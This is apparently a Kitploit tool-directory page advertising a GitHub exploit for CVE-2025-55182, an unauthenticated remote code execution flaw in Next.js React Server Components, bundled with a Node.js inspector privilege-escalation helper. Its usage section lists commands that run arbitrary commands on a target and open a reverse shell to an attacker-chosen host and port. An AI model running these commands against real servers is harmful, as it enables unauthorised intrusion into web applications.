Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/r3vpwnx/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubr3vpwnx/cve-2025-55182

CVE-2025-55182

Standalone exploit for CVE-2025-55182 achieving unauthenticated RCE in Next.js App Router via React Server Components Flight deserialization, with reverse shell and Node.js V8 Inspector privilege escalation helper.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 - React2Shell (CVE-2025-55182) unauthenticated RCE via React Server Components Flight deserialization

Standalone exploit for CVE-2025-55182 in Next.js App Router apps that enable React Server Components. Crafted RSC Flight payloads to the server-action endpoint give unauthenticated remote code execution. Ships a Node.js V8 Inspector (debug-port) local privilege-escalation helper that runs code in a privileged process via a process.mainModule.require sandbox bypass.

CVE: CVE-2025-55182

Requirements

root@kitploit:~
python3 -m pip install requests    # for the Python PoC(s)

Usage

cdp_privesc.py

root@kitploit:~
python3 cdp_privesc.py <target>

(RSC RCE — vendored, see Credits)

react2shell-poc.py
root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"          # error-based command exfil
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost LHOST --lport 4444

References

  • https://github.com/p3ta00/react2shell-poc
  • https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce

Credits

react2shell-poc.py is p3ta00's public CVE-2025-55182 PoC, vendored unchanged from https://github.com/p3ta00/react2shell-poc for a self-contained chain. cdp_privesc.py (the Node.js V8 Inspector local privesc) is original.

Disclaimer

For authorised security testing and education only. Only run this against systems you own or have explicit written permission to test.

Author: r3vpwnx

Download Tool